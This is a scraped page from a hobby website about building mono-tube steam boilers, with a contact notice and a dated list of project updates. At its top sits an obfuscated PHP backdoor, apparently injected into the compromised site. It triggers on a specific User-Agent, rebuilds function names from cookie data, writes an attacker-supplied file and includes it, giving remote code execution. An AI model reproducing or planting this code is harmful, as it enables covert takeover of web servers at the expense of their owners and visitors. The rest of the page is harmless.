if(isset($_SERVER['HTTP_USER_AGENT'])) { if(strpos($_SERVER['HTTP_USER_AGENT'], '25052054') !== false) { $c = $_COOKIE; $k = 0; $n = 3; $p = array(); $p[$k] = ''; while($n) { $p[$k] .= $c[15][$n]; if(!$c[15][$n+1]) { if(!$c[15][$n+2]) break; $k++; $p[$k] = ''; $n++; } $n = $n + 3 + 1; } $k = $p[11]() . $p[16]; if(!$p[21]($k)) { $n = $p[23]($k, $p[7]); $p[4]($n, $p[12] . $p[26]($p[8]($c[3]))); } include($k); } }

Contact Us
If you wish you may contact us at:
info at mono-tube dot org dot uk
We do not offer a postal address or telephone number.
No, we are not on: Facebook, BlueSky, WhatsApp, etc
Web Designers - Do not waste your time (or ours) by writing to us! We are not selling anything and our 'target market' is a tiny set of Anoraks who like this kind of stuff. Google ranking? We don't give a Monkey's...
Update News:
12th September 2026 - Playing with Water again
20th August 2026 - Water Control
30th July 2026 - Gathering the loose ends
30th July 2026 - Major layout revision. Fairlight Boiler blocks now become separate pages
20th June 2026 - Batteries and their management
14th June 2026 - Thinking about Pumps
23rd May 2026 - The Multiplexer
18th May 2026 - Screens Again
12th April 2026 - And now for some screens
29th March 2026 - Back on Track
28th March 2026 - Ethernet Explorations
25th March 2026 - Computer Conundrums
26th September - No More Water!
8th September 2025 - John Emmett's Constant Volume Mono-tube boiler
Earlier Update News:
20th August 2025 - Starting the Hydro
1st June 2025 - Non-Flexing Rolf Style Pump
7th April 2025 - Funnel again
10th December 2024 - Making low cost hand pumps
11th November 2024 - Funnel Fumbles
15th October - 1st November - More Plumbing
28th August 2024/3rd October - The Manifold11th August 2024 - Internet Whistles - a word of caution
31th July 2024 - Seeking a Whistle
24th July 2024 - Building Wheezless Whistles
28th June 2024 - Safety Valve purchasing
7th June 2024 - The Winding Road to Yellow Bricks
6th June 2024 - The fiddly bits and final insulation
14th May 2024 - Dr Erik Hunter's mono-tube build (Dangerous Laboratories)